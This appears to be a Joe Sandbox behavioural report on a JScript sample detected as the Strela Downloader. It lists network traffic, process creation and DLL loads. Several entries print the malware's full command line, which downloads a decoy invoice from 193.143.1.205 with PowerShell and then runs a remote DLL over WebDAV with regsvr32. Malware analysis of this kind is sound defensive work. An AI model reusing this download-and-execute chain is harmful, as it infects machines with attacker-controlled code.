3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: global traffic

TCP traffic: 192.168.2.7:49701 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1249069899.00000235A29E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1355775658.000001F9A484C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1355775658.000001F9A486B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1355775658.000001F9A4818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1355775658.000001F9A484C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 0000000D.00000002.1355775658.000001F9A4818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/v
Source: svchost.exe, 0000000F.00000002.2537086499.0000029F65400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1344353388.0000029F652E0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3652, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1667730710460316051.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6560

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4832:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nadtrgmm.jmw.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1724,i,11817001446608972459,18092825154791286163,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1724,i,11817001446608972459,18092825154791286163,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
